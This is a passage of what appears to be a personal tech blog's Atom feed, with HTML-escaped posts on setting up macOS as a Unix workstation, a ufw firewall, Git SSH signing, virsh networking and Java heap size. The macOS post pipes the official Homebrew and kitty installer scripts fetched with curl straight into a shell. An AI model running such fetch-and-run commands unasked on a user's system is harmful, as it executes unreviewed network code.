&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I'm a die hard Linux user, but in November 2022, I had to use a Mac
for some work.  This document describes how I turned a vanilla install
of the latest macOS into a powerful Unix workstation.&lt;/p&gt;
&lt;h2&gt;Homebrew 🍺&lt;/h2&gt;
&lt;p&gt;This is AFAIK the best package manager for Unix tools on
macOS …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;a href="/graphics/2022/macos-unix/unix-ready-macos.png"&gt;
  &lt;img
    src="/graphics/2022/macos-unix/unix-ready-macos.png"
    alt="Unix pro environment in macOS"
    style="width: 1024px"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I'm a die hard Linux user, but in November 2022, I had to use a Mac
for some work.  This document describes how I turned a vanilla install
of the latest macOS into a powerful Unix workstation.&lt;/p&gt;
&lt;h2&gt;Homebrew 🍺&lt;/h2&gt;
&lt;p&gt;This is AFAIK the best package manager for Unix tools on
macOS. Install it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ /bin/bash -c &amp;quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Terminal 💻&lt;/h2&gt;
&lt;p&gt;I've grown very fond of the &lt;a href="https://sw.kovidgoyal.net/kitty/"&gt;kitty&lt;/a&gt;
terminal. I believe it's the best terminal around, it even beats
&lt;a href="https://iterm2.com/"&gt;iTerm2&lt;/a&gt; 😃. It strikes a great balance between
features (24 bit colours, Unicode, multiplexer, view pictures on
remote servers, remote server clipboard integration++) and
speed. Install it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ curl -L https://sw.kovidgoyal.net/kitty/installer.sh | sh /dev/stdin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Set Caps Lock as Ctrl&lt;/h2&gt;
&lt;p&gt;Or else, I'll go seriously mad.&lt;/p&gt;
&lt;p&gt;Head over to &lt;code&gt;System preferences&lt;/code&gt;, then &lt;code&gt;Keyboard&lt;/code&gt; and finally
&lt;code&gt;Modifier Keys&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Unix shell environment&lt;/h2&gt;
&lt;h3&gt;Git&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew install git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;ZSH 🐚&lt;/h3&gt;
&lt;p&gt;I prefer the ZSH shell over BASH:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew install zsh
$ brew install zsh-autosuggestions
$ brew install zsh-completions
$ brew install fzf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;BASH 🐚&lt;/h3&gt;
&lt;p&gt;You should install a newer version of &lt;code&gt;bash&lt;/code&gt;. Although I use ZSH for
my interactive shell, I still do lots of shell programming in
BASH. The version of &lt;code&gt;bash&lt;/code&gt; that comes with macOS is very old,
&lt;code&gt;3.2.57&lt;/code&gt;, so installing a newer bash with &lt;code&gt;brew&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew install bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Verify that the new version is correctly installed and available in
your PATH by running:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ bash --version
GNU bash, version 5.2.26(1)-release (aarch64-apple-darwin22.6.0)
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Coreutils 🧰&lt;/h3&gt;
&lt;p&gt;GNU &lt;code&gt;coreutils&lt;/code&gt;, &lt;code&gt;sed&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt;, &lt;code&gt;getopt&lt;/code&gt; and &lt;code&gt;grep&lt;/code&gt; are superior to the
ancient BSD tools that ship with macOS.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew install base64
$ brew install coreutils
$ brew install gawk
$ brew install gnu-getopt
$ brew install grep
$ brew install gsed
$ brew install procps-ng
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, ensure that the GNU versions of these tools take precedence over
the old BSD versions that macOS ships with. To do this, you must edit
the settings file for your shell.&lt;/p&gt;
&lt;p&gt;If you don't know which one you're using, type:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ echo $SHELL
/bin/zsh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With that, you know which &lt;code&gt;.bashrc&lt;/code&gt; of &lt;code&gt;.zshrc&lt;/code&gt; to edit. Add the
following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;\
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;\
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gnu&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;4.9&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;libexec&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gnubin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;\
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;coreutils&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;libexec&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gnubin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;\
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gawk&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;\
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gnu&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;getopt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;\
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;grep&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;libexec&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gnubin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;\
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;openjdk&lt;/span&gt;&lt;span class="mi"&gt;@11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;\
&lt;span class="n"&gt;$PATH&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you can see from the above paths, &lt;code&gt;gnused&lt;/code&gt; isn't packaged like the
others, and doesn't provide a &lt;code&gt;bin&lt;/code&gt; directory outside the cellar.&lt;/p&gt;
&lt;p&gt;After this change to your PATH variable, you must reload the settings:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.bashrc&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# For BASH shells&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.zshrc&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# For ZSH shells&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Alternatively, start a new terminal window.&lt;/p&gt;
&lt;h3&gt;PGP 🔒&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew install gnupg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Java ☕&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew install openjdk@11
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ensure this JDK's binaries are first in PATH, add these to &lt;code&gt;~/.zshrc&lt;/code&gt;
or &lt;code&gt;~/.bashrc&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;openjdk&lt;/span&gt;&lt;span class="mi"&gt;@11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;$PATH&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;JSON&lt;/h2&gt;
&lt;p&gt;Installing &lt;code&gt;jq&lt;/code&gt; allows you to query JSON documents, a bit like what XPath on XML files.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew install jq
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Installing &lt;code&gt;json_xs&lt;/code&gt; lets you convert between YAML and JSON. For
instance, you can use this to do look ups in YAML documents using
&lt;code&gt;jq&lt;/code&gt;. &lt;code&gt;json_xs&lt;/code&gt; doesn't exist in Homebrew, but you should be able to
install it from CPAN using &lt;code&gt;cpm&lt;/code&gt; (untested):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew install cpm
$ cpm install JSON::XS
$ cpm install YAML::XS::LibYAML
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Video meetings 📽️&lt;/h2&gt;
&lt;p&gt;My company uses &lt;a href="https://www.microsoft.com/en-us/microsoft-teams/download-app#desktopAppDownloadregion"&gt;Microsoft Teams, so that' the one to
get&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Update 2022-11-22: Per told me Teams can also be installed with &lt;code&gt;brew&lt;/code&gt;
like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew install --cask microsoft-teams
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Fonts 🖊️&lt;/h2&gt;
&lt;p&gt;Download the excellent &lt;a href="https://github.com/adobe-fonts/source-code-pro/releases/tag/2.038R-ro/1.058R-it/1.018R-VAR"&gt;Adobce Source Code Pro
font&lt;/a&gt;,
unzip it and drag and drop the files to the &lt;code&gt;Font Book&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href="/graphics/2022/macos-unix/macos-font-install.png"&gt;
  &lt;img
    src="/graphics/2022/macos-unix/macos-font-install.png"
    alt="install good looking font on macOS"
    style="width: 1024px"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;A better top&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/aristocratos/btop"&gt;btop&lt;/a&gt; is my favourite resource
monitor these days, install it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew install btop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Emacs 🐂&lt;/h2&gt;
&lt;p&gt;Install Emacs from &lt;a href="https://emacsformacosx.com/"&gt;emacsformacosx.com&lt;/a&gt;,
this gives you a good, up to date Emacs build.&lt;/p&gt;
&lt;p&gt;Note, this build doesn't provide native compilation (aka "gccemacs"),
nor the non-blocking JSON processing done in this &lt;a href="https://github.com/emacs-lsp/emacs"&gt;emacs-lsp
fork&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Update 2022-11-25: It's also possible to get Emacs with &lt;code&gt;brew&lt;/code&gt;. Note,
after testing this on a fresh Mac, I the &lt;code&gt;--cask emacs
--with-native-comp --with-cocoa&lt;/code&gt; options didn't work, so had to just
issue the below command which gives a non-graphical Emacs (to get the
full package, use the &lt;code&gt;emacsformacosx&lt;/code&gt; link above):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew install emacs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Spell check 📖&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew install aspell
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;That's it!&lt;/h2&gt;
&lt;p&gt;Your shiny macOS machine is now a good, modern Unix workstation with
most of the same tools and versions as GNU/Linux distributions ship
with.&lt;/p&gt;
&lt;p&gt;Happy hacking!&lt;/p&gt;</content><category term="mac-os-x"/><category term="mac-os-x"/><category term="unix"/><category term="emacs"/><category term="kitty"/><category term="macOS"/></entry><entry><title>Set up a firewall in 2 minutes on Arch Linux</title><link href="https://skybert.net/linux/set-up-a-firewall-in-2-minutes-on-arch-linux" rel="alternate"/><published>2022-11-15T00:00:00+01:00</published><updated>2022-11-15T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-11-15:/linux/set-up-a-firewall-in-2-minutes-on-arch-linux</id><content type="html">&lt;p&gt;Install the &lt;code&gt;ufw&lt;/code&gt; &lt;code&gt;iptables-nft&lt;/code&gt; wrapper with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -Sy ufw
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Enable and start it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl enable ufw
# systemctl start ufw
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Configure it. By default, block all incoming connections and allow all
outgoing. This is what you typically want:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# ufw default allow outgoing
# ufw default deny incoming
# ufw reload
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Done!&lt;/p&gt;</content><category term="linux"/><category term="arch"/><category term="security"/><category term="linux"/></entry><entry><title>Microsoft hasn't lost its evil ways</title><link href="https://skybert.net/various/microsoft-hasnt-lost-its-evil-ways" rel="alternate"/><published>2022-11-11T00:00:00+01:00</published><updated>2022-11-11T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-11-11:/various/microsoft-hasnt-lost-its-evil-ways</id><content type="html">&lt;div class="pictures"&gt;
  &lt;a href="/graphics/2022/chrome-on-windows/one.png"&gt;
    &lt;img
      src="/graphics/2022/chrome-on-windows/one.png"
      alt="scary screen number one"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/chrome-on-windows/two.png"&gt;
    &lt;img
      src="/graphics/2022/chrome-on-windows/two.png"
      alt="scary screen number two"
    /&gt;
  &lt;/a&gt;
  &lt;a href="/graphics/2022/chrome-on-windows/three.png"&gt;
    &lt;img
      src="/graphics/2022/chrome-on-windows/three.png"
      alt="scary screen number three"
    /&gt;
  &lt;/a&gt;
&lt;/div&gt;

&lt;p&gt;Next time &lt;a href="https://microsoft.com"&gt;Microsoft&lt;/a&gt; touts "Our dark days are
behind us, we're now all about the cloud, openness and developer
productivity", show them this.&lt;/p&gt;
&lt;p&gt;A user must go through 3 scary-screens before using Chrome on Windows.&lt;/p&gt;
&lt;p&gt;Microsoft, I believe you can be better than this.&lt;/p&gt;</content><category term="various"/><category term="microsoft"/><category term="google"/><category term="openweb"/></entry><entry><title>Git Signing with SSH</title><link href="https://skybert.net/vcs/git-signing-with-ssh" rel="alternate"/><published>2022-11-09T00:00:00+01:00</published><updated>2022-11-09T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-11-09:/vcs/git-signing-with-ssh</id><summary type="html">&lt;h2&gt;Why sign your commits?&lt;/h2&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="/graphics/2022/supply-chain.png"
  alt="supply chain"
/&gt;&lt;/p&gt;
&lt;h2&gt;What we want&lt;/h2&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="/graphics/2022/github-verified.png"
  alt="github verified"
/&gt;&lt;/p&gt;
&lt;h2&gt;How to verify a commit?&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ git verify-commit 54d75d3d5992bdbd5ddb5a5f6a12bd7ba1dc747d
Good &amp;quot;git&amp;quot; signature with ED25519 key SHA256:lyOfOeV7C0s0ygnRgkSd4S8LVC4mkoPmRvlLdcvWOzM
No principal matched.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ git verify-tag v1.2.3-4 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Can anyone sign a commit?&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ cat ~/.ssh/allowed_signers
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Verify committs of a release&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;log&lt;span class="w"&gt; &lt;/span&gt;--oneline&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;source_rev&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;..&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;target_rev&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;awk …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;h2&gt;Why sign your commits?&lt;/h2&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="/graphics/2022/supply-chain.png"
  alt="supply chain"
/&gt;&lt;/p&gt;
&lt;h2&gt;What we want&lt;/h2&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="/graphics/2022/github-verified.png"
  alt="github verified"
/&gt;&lt;/p&gt;
&lt;h2&gt;How to verify a commit?&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ git verify-commit 54d75d3d5992bdbd5ddb5a5f6a12bd7ba1dc747d
Good &amp;quot;git&amp;quot; signature with ED25519 key SHA256:lyOfOeV7C0s0ygnRgkSd4S8LVC4mkoPmRvlLdcvWOzM
No principal matched.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ git verify-tag v1.2.3-4 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Can anyone sign a commit?&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ cat ~/.ssh/allowed_signers
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Verify committs of a release&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;log&lt;span class="w"&gt; &lt;/span&gt;--oneline&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;source_rev&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;..&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;target_rev&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;awk&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{ print $1}&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;commit&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;verify-commit&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;commit&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Delve further&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Github: &lt;a href="https://docs.github.com/en/authentication/managing-commit-signature-verification/about-commit-signature-verification"&gt;about commit signature verification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Github: &lt;a href="https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits"&gt;displaying verification statuses for all of your commits&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Github: &lt;a href="https://docs.github.com/en/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key#telling-git-about-your-ssh-key"&gt;telling git about your ssh key&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;man ssh-keygen&lt;/code&gt;: &lt;a href="https://man7.org/linux/man-pages/man1/ssh-keygen.1.html#ALLOWED_SIGNERS"&gt;ALLOWED_SIGNERS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Blog: &lt;a href="https://blog.dbrgn.ch/2021/11/16/git-ssh-signatures/"&gt;git ssh signatures&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="vcs"/><category term="git"/><category term="ssh"/><category term="security"/></entry><entry><title>virt-manager and virsh say network is not active</title><link href="https://skybert.net/linux/virt-manager-and-virsh-say-network-is-not-active" rel="alternate"/><published>2022-11-09T00:00:00+01:00</published><updated>2022-11-09T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-11-09:/linux/virt-manager-and-virsh-say-network-is-not-active</id><content type="html">&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ virsh start ece-install-tester
error: Failed to start domain &amp;#39;ece-install-tester&amp;#39;
error: Requested operation is not valid: network &amp;#39;default&amp;#39; is not active
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# virsh net-autostart --network default
Network default marked as autostarted
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# virsh net-start default
Network default started
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# virsh net-list --all
 Name      State    Autostart   Persistent
--------------------------------------------
 default   active   yes         yes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="linux"/></entry><entry><title>Default Java Heap Size</title><link href="https://skybert.net/java/default-java-heap-size" rel="alternate"/><published>2022-11-08T00:00:00+01:00</published><updated>2022-11-08T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-11-08:/java/default-java-heap-size</id><summary type="html">&lt;p&gt;If you don't specify anything with &lt;code&gt;-Xmx&lt;/code&gt; and &lt;code&gt;-Xms&lt;/code&gt;, how much memory
will the operating system allocate to your Java process?&lt;/p&gt;
&lt;p&gt;The default heap size was 64MB until Java 5. Since then, it's been
calculated runtime. To see what the JVM will pick for your system, you
can do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;java …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;If you don't specify anything with &lt;code&gt;-Xmx&lt;/code&gt; and &lt;code&gt;-Xms&lt;/code&gt;, how much memory
will the operating system allocate to your Java process?&lt;/p&gt;
&lt;p&gt;The default heap size was 64MB until Java 5. Since then, it's been
calculated runtime. To see what the JVM will pick for your system, you
can do:&lt;/p&gt;
